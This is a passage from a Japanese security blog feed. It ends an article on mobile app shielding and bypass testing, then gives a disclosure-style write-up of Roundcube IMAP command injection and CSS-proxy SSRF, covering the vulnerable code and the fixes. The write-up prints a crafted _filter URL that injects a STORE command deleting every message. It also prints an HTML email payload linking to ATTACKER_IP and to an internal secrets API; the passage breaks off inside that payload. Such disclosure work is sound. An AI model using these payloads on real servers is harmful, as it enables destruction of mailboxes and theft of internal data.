&lt;p&gt;&lt;strong&gt;5. 脅威インテリジェンスに基づいてシールディングのロジックを更新する&lt;/strong&gt;&lt;br/&gt;
モバイルの脅威の状況は急速に変化します。最新の脅威インテリジェンスに基づいて、検知ルール、実行時の保護、暗号化方式を定期的に更新します。これにより、新たな攻撃手法や新たに出現するエクスプロイトに対しても、シールディングの有効性を維持できます。  &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. ユーザー体験とパフォーマンスを維持する&lt;/strong&gt;&lt;br/&gt;
強固なセキュリティが使いやすさを損なってはなりません。シールディングの仕組みは、アプリの動作を遅くしたり、バッテリーを消耗させたり、クラッシュを引き起こしたりしないよう最適化する必要があります。実機で継続的にテストすることで、スムーズなユーザー体験を保ちながら、セキュリティ対策の有効性を維持できます。  &lt;/p&gt;
&lt;h2 id="ostorlabのshielding scanはシールディングによる保護をどう検出し、回避するか"&gt;OstorlabのShielding Scanはシールディングによる保護をどう検出し、回避するか&lt;/h2&gt;
&lt;p&gt;アプリケーションにシールディングが含まれていることを検出するだけでは不十分です。重要なのは、誰かが積極的に回避しようとしたときに、それらの保護がなおも機能するかどうかです。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;OstorlabのMobile Shielding Scan&lt;/a&gt;は、root/ジェイルブレイク検知、改ざん防止と完全性チェック、アンチデバッグ、アンチ計装、SSLピンニング、コードや文字列の難読化といった保護を特定します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="OstorlabのMobile Shielding Scanのスキャンプロファイル" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-4-13_mobile_application_shielding_keep_your_mobile_app_safe_even_in_compromised_devices/scan-profile.png" title="OstorlabのMobile Shielding Scanのスキャンプロファイル"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;OstorlabのMobile Shielding Scanのスキャンプロファイル&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="シールディングの検出:見つけたものを攻撃するスキャン"&gt;シールディングの検出：見つけたものを攻撃するスキャン&lt;/h3&gt;
&lt;p&gt;Mobile Shielding Scanはまず、AndroidまたはiOSのアプリケーションを解析し、root/ジェイルブレイク検知、改ざん防止と完全性の制御、アンチデバッグ、アンチ計装、証明書ピンニング、コードや文字列の難読化を特定します。&lt;/p&gt;
&lt;p&gt;次に、アプリケーションを実機で実行し、スキャンがそのワークフローをたどって、これらの保護が作動するポイントに到達します。一部の制御は、認証後、支払いの最中、あるいは機密性の高い機能を開いたときにしか作動しないため、これは重要です。実際の利用中に保護が一度も作動しないのであれば、その基盤となるコードを見つけるだけでは不十分です。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="成功した試行" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-04_SHIELDING/successful attempt.webp"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;スキャンは、特定した保護、それらが実装されている場所、そしてそれらを作動させる条件を記録します。&lt;/p&gt;
&lt;h3 id="シールディングの回避:制御が持ちこたえるかをテストする"&gt;シールディングの回避：制御が持ちこたえるかをテストする&lt;/h3&gt;
&lt;p&gt;保護に到達すると、スキャンはそれを突破しようと試みます。これには、アプリケーションの再パッケージ化や再署名、実行時の計装の適用、root化端末の兆候の隠蔽、ネットワークトラフィックの傍受、アプリケーションコードへのパッチ適用、完全性チェックの操作などが含まれます。&lt;/p&gt;
&lt;p&gt;AIエージェントが、インターフェースを観察し、ログを読み、アプリケーションの応答を解釈することで、調査を導きます。クラッシュ、警告、ブロックされたリクエスト、無言の終了、あるいは動作しなくなった機能は、防御が反応したことを示している可能性があります。エージェントはこのエビデンスを使って別の手法を選び、テストを続けます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="回避に成功した例" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-04_SHIELDING/bypass.webp"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;アプリケーションはFridaによる計装が有効なまま動作し続けました。これは、検出された保護が回避可能であったことを示すエビデンスです。&lt;/p&gt;
&lt;p&gt;各保護は、反応して持ちこたえた場合は「Secure」、存在しない、作動しない、または回避された場合は「Hardening」とマークされます。突破された防御にはエビデンスと再現可能な回避手順が含まれ、有効に機能した保護はアクティブなテストのもとで確認されます。&lt;/p&gt;
&lt;p&gt;ビルドごとに結果が変わる可能性があるため、チームはリリースごとにスキャンを繰り返し、出荷するアプリケーションで何が有効であり続けているかを検証できます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;OstorlabのShielding Scanを試す&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="まとめ"&gt;まとめ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;モバイルアプリケーションシールディング&lt;/strong&gt;は、セキュリティチームが最も管理しにくい環境である&lt;strong&gt;クライアント端末&lt;/strong&gt;において、アプリを保護するのに役立ちます。リバースエンジニアリング、改ざん、実行時の操作、機密データの窃取を&lt;strong&gt;大幅に困難にする&lt;/strong&gt;ことで、最も重要なロジック、トランザクション、情報を守ります。&lt;/p&gt;
&lt;p&gt;モバイルアプリが支払い、ID、医療記録、プレミアムコンテンツ、独自のワークフローを扱い続ける中で、クライアント側の攻撃は現実のリスクであり続けます。シールディングは、保護をアプリに直接組み込み、実行中もその防御を有効に保つことで、このリスクを低減する手段をチームに提供します。&lt;/p&gt;
&lt;p&gt;最も大きな効果が得られるのは、シールディングを、より広範なモバイルセキュリティ戦略の一つのレイヤーとして扱う場合です。早期のシールディング導入、CI/CDによる自動化、継続的な検証、監視、そして脅威インテリジェンスに基づく定期的な更新と組み合わせることで、敵対的な環境でもレジリエンスを保つアプリの構築に役立ちます。&lt;/p&gt;</content><category term="Security"/><category term="application-shielding"/></entry><entry><title>RoundcubeのIMAPコマンドインジェクションとSSRFの脆弱性</title><link href="https://blog.ostorlab.co/ja/roundcube-imap-injection-ssrf-ove-2026.html" rel="alternate"/><published>2026-04-08T18:00:00+02:00</published><updated>2026-04-14T17:00:00+02:00</updated><author><name>Aziz Elbelaychy</name></author><id>tag:blog.ostorlab.co,2026-04-08:/ja/roundcube-imap-injection-ssrf-ove-2026.html</id><summary type="html">&lt;p&gt;ソースコードレビューの過程でRoundcube Webmail（&amp;lt; 1.6.14、1.5.14、1.7 RC4）に見つかった2件のクリティカルな脆弱性を詳しく解説します。OVE-2026-8は、CRLFのサニタイズ漏れにより、認証済みの攻撃者が_filterパラメーター経由で任意のIMAPコマンドを注入できるものです。OVE-2026-9は、CSSプロキシの仕組みを悪用してサーバーサイドリクエストフォージェリ（SSRF）を可能にし、内部ネットワークのリソースやクラウドメタデータへのアクセスを許すものです。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;OVE-2026-8 &amp;amp; OVE-2026-9&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Roundcube Webmail：CSSプロキシを介したIMAPコマンドインジェクションとSSRF&lt;/p&gt;
&lt;p&gt;2026年3月24日 &amp;middot; CVSS 8.1 High &amp;middot; CVSS 6.8 Medium &amp;middot; Roundcube &amp;lt; 1.6.14, 1.5.14, 17 RC5&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;CVE ID&lt;/th&gt;
&lt;th style="text-align: left;"&gt;CVSS&lt;/th&gt;
&lt;th style="text-align: left;"&gt;影響を受けるバージョン&lt;/th&gt;
&lt;th style="text-align: left;"&gt;修正済みバージョン&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;OVE-2026-8&lt;/td&gt;
&lt;td style="text-align: left;"&gt;8.1 High&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;lt; 1.6.14, 1.5.14, 17 RC5&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.6.14, 1.5.14, 17 RC5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;OVE-2026-9&lt;/td&gt;
&lt;td style="text-align: left;"&gt;6.8 Medium&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&amp;lt; 1.6.14, 1.5.14, 17 RC5&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.6.14, 1.5.14, 17 RC5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;更新：これらの脆弱性は当初、Ostorlabによって内部識別子OVE-2026-8およびOVE-2026-9として追跡され、その後4月3日にCVEデータベースへCVE-2026-35538（IMAPコマンドインジェクション）およびCVE-2026-35540（CSSプロキシを介したSSRF）として公開されました。&lt;/p&gt;
&lt;h2 id="経緯"&gt;経緯&lt;/h2&gt;
&lt;p&gt;それは、ほとんどの監査がそうであるように、&lt;code&gt;git clone&lt;/code&gt;から始まりました。Ostorlabで私は、SVGの&lt;code&gt;&amp;lt;animate&amp;gt;&lt;/code&gt;タグに関係するRoundcubeの既知の格納型XSS脆弱性を調査していました。CVEを分析し、サニタイザーのロジックを追跡し、実際に動作するエクスプロイトを構築していたのです。その作業を進めるうちに、私はコードベースのより深いところへと引き込まれていきました。特定のCVEを対象とした調査として始まったものが、Roundcube 1.5.14 / 1.6.14 / 1.7 RC5のリリースの1週間前に、より広範なソースコードレビューへと発展したのです。&lt;/p&gt;
&lt;p&gt;もはや私は、特定の何かを探してはいませんでした。コードを読み、データフローを追い、HTTPパラメーターからのユーザー入力が最終的にどこへたどり着くのかを追跡していました。そこで2つの経路が目に留まりました。一つは検索フィルターのパラメーターから生のIMAPソケットへと直結する経路、もう一つはRoundcubeのCSSレンダリングパイプラインを、内部ネットワークへのリクエストを行うオープンプロキシへと変えてしまう経路でした。&lt;/p&gt;
&lt;p&gt;いずれの検出結果も、HackerOneを通じてRoundcubeのセキュリティチームに提出しました。どちらも重複（duplicate）として返ってきました。約1週間後に登場した新しいリリースが、両方の問題にパッチを当てていました。この記事では、私が見つけたとおりに両方の検出結果を記録します。脆弱なコード、エクスプロイトチェーン、そして修正です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;IMAPコマンドインジェクション&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="IMAPコマンドインジェクションのHackerOneレポート提出" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-07_roundcube-imap-ssrf/Pasted image 20260325160620.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図1：IMAPコマンドインジェクションのHackerOneレポート&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CSSプロキシを介したサーバーサイドリクエストフォージェリ&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="SSRFのHackerOneレポート提出" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-04-07_roundcube-imap-ssrf/Pasted image 20260325160724.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
&lt;em&gt;図2：SSRFのHackerOneレポート提出&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="ove-2026-8:_filterパラメーターを介したimapコマンドインジェクション"&gt;OVE-2026-8：_filterパラメーターを介したIMAPコマンドインジェクション&lt;/h2&gt;
&lt;h3 id="シンク"&gt;シンク&lt;/h3&gt;
&lt;p&gt;Roundcubeのユーザーが自分のメールボックスを検索すると、アプリケーションは複数のURLパラメーターからIMAPの&lt;strong&gt;SEARCH&lt;/strong&gt;コマンドを組み立てます。そのうちの一つが&lt;code&gt;_filter&lt;/code&gt;で、これは検索範囲を絞り込む&lt;code&gt;UNSEEN&lt;/code&gt;や&lt;code&gt;FLAGGED&lt;/code&gt;といった定義済みのキーワードです。この値はGETリクエストから読み取られ、最終的に生のIMAPコマンド文字列に連結され、そのままIMAPサーバーのTCPソケットに書き込まれます。&lt;/p&gt;
&lt;p&gt;問いはシンプルでした。&lt;code&gt;_filter&lt;/code&gt;に検索キーワード以外のものが含まれていたら、何が起きるのでしょうか。&lt;/p&gt;
&lt;h3 id="データフローの追跡"&gt;データフローの追跡&lt;/h3&gt;
&lt;p&gt;私はprogram/actions/mail/search.phpの45行目にあるエントリーポイントから始めました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;$filter = trim(rcube_utils::get_input_string('_filter', rcube_utils::INPUT_GET));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;get_input_string()&lt;/code&gt;関数は、入力に対して&lt;code&gt;strip_tags()&lt;/code&gt;（HTMLタグを除去する）を呼び出し、続いて&lt;code&gt;trim()&lt;/code&gt;を呼び出します。これらの関数はいずれも&lt;code&gt;\r\n&lt;/code&gt;文字には手を付けません。パラメーター値に埋め込まれたCRLFシーケンスは、両方の関数をまったく手付かずのまま通り抜けます。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$filter&lt;/code&gt;の値は58行目の&lt;code&gt;search_input()&lt;/code&gt;を通って流れ、空でなく&lt;code&gt;ALL&lt;/code&gt;でもない文字列の場合にはそのまま使われます。そこから&lt;code&gt;program/lib/Roundcube/rcube_imap_generic.php&lt;/code&gt;の&lt;code&gt;rcube_imap_generic::search()&lt;/code&gt;に到達し、IMAPコマンドのパラメーターに追加されます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// rcube_imap_generic.php, line 2010-2019&lt;/span&gt;
&lt;span class="x"&gt;$criteria = trim($search_str);&lt;/span&gt;
&lt;span class="x"&gt;$params = '';&lt;/span&gt;
&lt;span class="x"&gt;if (!empty($criteria)) {&lt;/span&gt;
&lt;span class="x"&gt;    $params .= ($params ? ' ' : '') . $criteria;  // raw concatenation, no escaping&lt;/span&gt;
&lt;span class="x"&gt;} else {&lt;/span&gt;
&lt;span class="x"&gt;    $params .= 'ALL';&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;埋め込まれたCRLFをまだ含んだままの&lt;code&gt;$criteria&lt;/code&gt;文字列は、そのまま直接&lt;code&gt;$params&lt;/code&gt;に連結されます。これは&lt;code&gt;execute()&lt;/code&gt;に渡され、それが&lt;code&gt;r_implode()&lt;/code&gt;を呼び出します。文字列引数の場合、&lt;code&gt;r_implode()&lt;/code&gt;はその値をそのまま返します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// rcube_imap_generic.php, line 4099-4102&lt;/span&gt;
&lt;span class="x"&gt;function r_implode($element) {&lt;/span&gt;
&lt;span class="x"&gt;    if (!is_array($element)) {&lt;/span&gt;
&lt;span class="x"&gt;        return $element;  // verbatim return &amp;mdash; no escaping&lt;/span&gt;
&lt;span class="x"&gt;    }&lt;/span&gt;
&lt;span class="x"&gt;    // ...&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;最後に、&lt;code&gt;putLineC()&lt;/code&gt;が組み立てられたコマンドをIMAPソケットに書き込みます。この関数は、むき出しのCRLFシーケンスではなく、リテラル文字列のパターン&lt;code&gt;{N}\r\n&lt;/code&gt;でのみ分割を行います。そのため、ペイロード全体、つまり正当なコマンドと注入されたコマンドが、単一のかたまりとしてソケットに書き込まれます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// rcube_imap_generic.php, line 147&lt;/span&gt;
&lt;span class="no"&gt;$&lt;/span&gt;&lt;span class="n"&gt;parts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;preg_split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/(\{[0-9]+\}\r\n)/m"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;$&lt;/span&gt;&lt;span class="nb"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PREG_SPLIT_DELIM_CAPTURE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// Bare \r\n does NOT cause a split &amp;mdash; the whole string goes in one fwrite()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;IMAPサーバーは行区切りのプロトコルであるため、&lt;code&gt;\r\n&lt;/code&gt;をコマンドの終端として読み取り、それに続くものを、まったく別個の、攻撃者が制御するコマンドとして解釈します。&lt;/p&gt;
&lt;h3 id="皮肉:escape()は存在するが一度も呼ばれない"&gt;皮肉：escape()は存在するが一度も呼ばれない&lt;/h3&gt;
&lt;p&gt;コードベースには、この攻撃を無力化できる関数がすでに含まれています。4293行目の&lt;code&gt;rcube_imap_generic::escape()&lt;/code&gt;は、CRLF文字を検出し、文字列をIMAPリテラル（&lt;code&gt;{N}\r\n&amp;lt;value&amp;gt;&lt;/code&gt;）に変換します。サーバーはこれをコマンドの区切りではなくデータとして扱います。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;function escape($string) {&lt;/span&gt;
&lt;span class="x"&gt;    if (!preg_match('/[\r\n\x00\x80-\xFF]/', $string)) {&lt;/span&gt;
&lt;span class="x"&gt;        return '"' . addcslashes($string, '\\"') . '"';&lt;/span&gt;
&lt;span class="x"&gt;    }&lt;/span&gt;
&lt;span class="x"&gt;    // CRLF detected &amp;rarr; safe literal-string encoding&lt;/span&gt;
&lt;span class="x"&gt;    return sprintf("{%d}\r\n%s", strlen($string), $string);&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;しかし、search.phpは&lt;code&gt;$filter&lt;/code&gt;に対して&lt;code&gt;escape()&lt;/code&gt;を一度も呼び出しません。この関数は&lt;code&gt;$search&lt;/code&gt;（65行目）、つまりユーザーのフリーテキストのクエリに対しては呼ばれますが、フィルターパラメーターはまったく別のコードパスを通り、生のままソケットに到達します。&lt;/p&gt;
&lt;h3 id="攻撃の実際"&gt;攻撃の実際&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;A single crafted URL is all it takes:
GET /?_task=mail&amp;amp;_action=search&amp;amp;_filter=UNSEEN%0d%0aA099+STORE+1:*+%2BFLAGS+(\Deleted)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;%0d%0a&lt;/code&gt;は&lt;code&gt;\r\n&lt;/code&gt;にデコードされます。Roundcubeがこれを処理した後、IMAPサーバーは次を受け取ります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;A001 UID SEARCH UNSEEN        &amp;larr; legitimate search
A099 STORE 1:* +FLAGS (\Deleted)  &amp;larr; injected command: flag all messages as deleted
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;単一のHTTPパラメーターから、2つの別個のIMAPコマンドが生まれます。注入されたコマンドは、認証済みユーザーのIMAPセッションの全権限で実行されます。&lt;/p&gt;
&lt;h3 id="概念実証"&gt;概念実証&lt;/h3&gt;
&lt;p&gt;次の動画は、悪意のあるURLの作成から、注入されたIMAPコマンドがサーバー上で実行される様子の観察まで、エクスプロイトチェーンの全体を示しています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://blog.ostorlab.co/static/img/2026-04-07_roundcube-imap-ssrf/imap_injection_poc.webm"&gt;IMAPコマンドインジェクションの概念実証動画&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="重大度"&gt;重大度&lt;/h3&gt;
&lt;p&gt;認証済みのRoundcubeユーザーであれば誰でも、単一のGETパラメーターを通じて任意のIMAPコマンドを注入できます。アタックサーフェスには次のものが含まれます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;メールボックスの操作&lt;/strong&gt;：すべてのメッセージを削除済みとしてマークする、フォルダー間でメッセージを移動する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データの持ち出し&lt;/strong&gt;：FETCHコマンドでメッセージの内容を取得する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ACLの悪用&lt;/strong&gt;：SETACLで攻撃者のアカウントに被害者のメールボックスフォルダーへの読み取りアクセスを付与する&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サービス拒否&lt;/strong&gt;：EXPUNGEでメッセージを完全に削除する、SUBSCRIBE/UNSUBSCRIBEでフォルダーの表示を妨害する&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="修正"&gt;修正&lt;/h3&gt;
&lt;p&gt;パッチは、検索文字列がIMAPソケットに到達する前にCRLF文字を除去し、スペースに置き換えます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// program/actions/mail/search.php&lt;/span&gt;
&lt;span class="x"&gt;// We pass the filter as-is into IMAP SEARCH command. A newline could be used&lt;/span&gt;
&lt;span class="x"&gt;// to inject extra commands, so we remove these.&lt;/span&gt;
&lt;span class="x"&gt;$search_str = preg_replace('/[\r\n]+/', ' ', $search_str);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;同じサニタイズは、下書きメッセージの処理を通じた同様の注入経路をふさぐため、&lt;code&gt;send.php&lt;/code&gt;の&lt;code&gt;$message_id&lt;/code&gt;にも適用されました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// program/actions/mail/send.php&lt;/span&gt;
&lt;span class="x"&gt;$message_id = preg_replace('/[\r\n]+/', '', $message_id);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;2つ目のIMAPコマンドを注入する鍵となる、埋め込まれたCRLFは、ソケットに到達する前に無力化されます。&lt;/p&gt;
&lt;h2 id="ove-2026-9:cssプロキシを介したサーバーサイドリクエストフォージェリ"&gt;OVE-2026-9：CSSプロキシを介したサーバーサイドリクエストフォージェリ&lt;/h2&gt;
&lt;h3 id="シンク_1"&gt;シンク&lt;/h3&gt;
&lt;p&gt;2つ目の検出結果は、コードベースのまったく別の部分から見つかりました。RoundcubeがHTMLメールをレンダリングする際、外部のCSSの&lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;タグを、内部のプロキシエンドポイント（&lt;code&gt;modcss.php&lt;/code&gt;）を指すように書き換えます。これは設計上の選択です。被害者のブラウザーが攻撃者の制御するURLを直接取得することを防ぎ、トラッキングに悪用されるのを防ぎます。しかし、これは新たな問題を生みます。今度はRoundcubeのサーバー自身がそのリクエストを行うことになるのです。&lt;/p&gt;
&lt;h3 id="データフローの追跡_1"&gt;データフローの追跡&lt;/h3&gt;
&lt;p&gt;RoundcubeのHTMLサニタイザー（&lt;code&gt;rcube_washtml&lt;/code&gt;）がメール内の&lt;code&gt;&amp;lt;link rel="stylesheet"&amp;gt;&lt;/code&gt;タグに遭遇すると、&lt;code&gt;program/actions/mail/index.php&lt;/code&gt;（1285行目）の&lt;code&gt;washtml_link_callback()&lt;/code&gt;関数がそのURLをPHPセッションに保存します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// index.php:1283-1292&lt;/span&gt;
&lt;span class="x"&gt;if ($tag == 'link' &amp;amp;&amp;amp; preg_match('/^https?:\/\//i', $attrib['href'])) {&lt;/span&gt;
&lt;span class="x"&gt;    $tempurl = 'tmp-' . md5($attrib['href']) . '.css';&lt;/span&gt;
&lt;span class="x"&gt;    $_SESSION['modcssurls'][$tempurl] = $attrib['href'];  // stored as-is, no host validation&lt;/span&gt;
&lt;span class="x"&gt;    $attrib['href'] = $rcmail-&amp;gt;url([&lt;/span&gt;
&lt;span class="x"&gt;        'task'   =&amp;gt; 'utils',&lt;/span&gt;
&lt;span class="x"&gt;        'action' =&amp;gt; 'modcss',&lt;/span&gt;
&lt;span class="x"&gt;        'u'      =&amp;gt; $tempurl,&lt;/span&gt;
&lt;span class="x"&gt;    ]);&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;URLはそのまま保存されます。唯一のチェックは、それが&lt;code&gt;http://&lt;/code&gt;または&lt;code&gt;https://&lt;/code&gt;.で始まっているかどうかだけです。ホスト名の許可リストも、IPの拒否リストも、プライベートアドレスやループバックアドレスに対する制限もありません。
被害者がメールを開き、「リモートコンテンツを表示」をクリックすると、ブラウザーは書き換えられたURLをリクエストし、それが&lt;code&gt;modcss.php&lt;/code&gt;に到達します。ハンドラーはセッションから元のURLを取得し、GuzzleHttpを使ってサーバーサイドのHTTP GETを実行します。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="x"&gt;// modcss.php:40-52&lt;/span&gt;
&lt;span class="x"&gt;$realurl = $_SESSION['modcssurls'][$url];&lt;/span&gt;

&lt;span class="x"&gt;if (!preg_match('~^https?://~i', $realurl)) {&lt;/span&gt;
&lt;span class="x"&gt;    $rcmail-&amp;gt;output-&amp;gt;sendExitError(403, 'Invalid URL');  // only scheme check&lt;/span&gt;
&lt;span class="x"&gt;}&lt;/span&gt;

&lt;span class="x"&gt;$client   = rcube::get_instance()-&amp;gt;get_http_client();&lt;/span&gt;
&lt;span class="x"&gt;$response = $client-&amp;gt;get($realurl);  // server fetches arbitrary URL&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;セッションへの保存とHTTPリクエストの間には、ホスト名の解決も、IPの検証も、プライベートネットワークの範囲に対するチェックもありません。Roundcubeのサーバーは、&lt;code&gt;http://169.254.169.254/latest/meta-data/&lt;/code&gt;, &lt;code&gt;http://127.0.0.1:3306/&lt;/code&gt;, あるいはその他どんな内部URLでも、何の疑いもなく取得します。&lt;/p&gt;
&lt;h3 id="攻撃の実際_1"&gt;攻撃の実際&lt;/h3&gt;
&lt;p&gt;攻撃者は、&lt;code&gt;&amp;lt;link&amp;gt;&lt;/code&gt;タグを埋め込んだHTMLメールを送り込みます。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;html&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;link&lt;/span&gt; &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://ATTACKER_IP:4000/callback.css"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;link&lt;/span&gt; &lt;span class="na"&gt;rel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"stylesheet"&lt;/span&gt; &lt;span class="na"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"http://internal-api:8080/api/secrets"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;head&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
